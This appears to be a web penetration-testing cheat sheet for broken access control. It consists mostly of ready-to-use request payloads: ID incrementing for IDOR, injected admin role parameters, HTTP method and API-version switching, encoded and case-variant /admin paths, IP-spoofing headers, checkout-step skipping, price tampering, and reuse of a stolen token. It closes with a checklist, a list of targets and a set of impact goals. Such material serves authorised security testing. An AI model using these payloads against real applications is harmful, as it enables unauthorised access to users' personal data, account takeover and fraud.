Access Control

# Numeric ID
GET /api/users/123/profile → GET /api/users/124/profile

# UUID (try sequential or guessable)
GET /api/orders/a1b2c3d4... → GET /api/orders/a1b2c3d5...

# Encoded ID
GET /api/users/MTIz (base64: 123) → GET /api/users/MTI0 (124)

# Hashed ID
Look for predictable patterns, weak hashes
MD5(123) → try MD5(124)

# Body parameter
POST /update-profile
{"user_id": "123"} → {"user_id": "456"}

# Cookie-based
Cookie: user=john → Cookie: user=admin

# Header-based
X-User-ID: 123 → X-User-ID: 456

# Multiple parameters
GET /api/account?user=123&account=456
→ Try user=124&account=456
→ Try user=123&account=457

# Different ID types
GET /document?doc_id=100&owner_id=50
→ Change doc_id AND owner_id

# Hidden role parameter
POST /register
{"username": "test", "role": "user"}
→ {"username": "test", "role": "admin"}

# Header-based
X-Role: user → X-Role: admin
X-Admin: false → X-Admin: true

# Direct access
/admin
/admin/dashboard
/administrator
/manage
/management
/admin.php
/admin/users
/api/admin/users

# With ID bruteforce
/admin/user/1
/admin/user/2
...

# Change request method
GET /admin/delete-user → Blocked
POST /admin/delete-user → Allowed?

# Add parameters
GET /admin → 403
GET /admin?debug=1 → 200?
GET /admin?admin=true → 200?

# Get your own resource
GET /api/v1/users/YOUR_ID/orders/1001

# Access other user's resource
GET /api/v1/users/OTHER_ID/orders/1001
GET /api/v1/users/YOUR_ID/orders/1002  # Other user's order

# Query other user's data
query {
  user(id: "OTHER_USER_ID") {
    email
    orders {
      id
      total
    }
  }
}

# Regular endpoint
GET /api/v1/users/123

# Admin function
DELETE /api/v1/users/123
PUT /api/v1/users/123/role {"role": "admin"}
POST /api/v1/users/123/reset-password

# Newer version may have restrictions
GET /api/v2/admin/users → 403

# Try older version
GET /api/v1/admin/users → 200
GET /api/admin/users → 200

# Case variation
/admin → 403
/Admin → 200?
/ADMIN → 200?
/aDmIn → 200?

# Path traversal
/user/profile → allowed
/admin/../user/profile → allowed (reveals admin)
/./admin → 200?
//admin → 200?

# Encoded
/admin → 403
/%61dmin → 200?
/admin%00 → 200?
/admin%20 → 200?
/admin%09 → 200?

# Method override headers
X-HTTP-Method-Override: DELETE
X-Method-Override: PUT
X-HTTP-Method: PATCH

# Method switching
GET /admin/delete → 403
POST /admin/delete → 200?
PUT /admin/delete → 200?
TRACE /admin/delete → 200?

# IP spoofing
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1

# Custom headers
X-Custom-IP-Authorization: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin

Referer: https://target.com/admin
Referer: https://target.com/allowed-page
# Remove Referer header entirely

# Normal flow
Step 1: /checkout/address → Step 2: /checkout/payment → Step 3: /checkout/confirm

# Skip to
/checkout/confirm (skip payment)
/checkout/complete?order_id=123

# Step 1: Select item
POST /cart/add {"item_id": 1, "price": 100}

# Step 2: Checkout (modify price)
POST /checkout {"item_id": 1, "price": 1}

# Steal/generate token for user A
# Use for user B's resources
Authorization: Bearer <token_user_a>
GET /api/users/B/profile

// Original
{"user_id": "123", "role": "user"}

// Modified
{"user_id": "456", "role": "admin"}

□ Change user ID in URLs
□ Change user ID in request body
□ Change user ID in cookies
□ Test GUID/UUID prediction
□ Test encoded/hashed IDs
□ Test numeric ID increment/decrement

□ Access admin paths directly
□ Add role parameter to requests
□ Try HTTP method switching
□ Test API version downgrade
□ Access admin functions as regular user
□ Modify role-based claims in tokens

□ Test with unauthenticated requests
□ Test with different user sessions
□ Try URL encoding bypasses
□ Try header-based bypasses
□ Test multi-step workflow skipping

- User profile/settings endpoints
- Order/transaction history
- Admin panels and dashboards
- API endpoints with ID parameters
- File download/view endpoints
- Report/export generation

1. Access other user's PII
2. Modify other user's data
3. Escalate to admin
4. Access paid features free
5. Delete other user's resources

- Show specific IDOR with two accounts
- Demonstrate data accessed
- Calculate scope (how many users affected)
- Show privilege level difference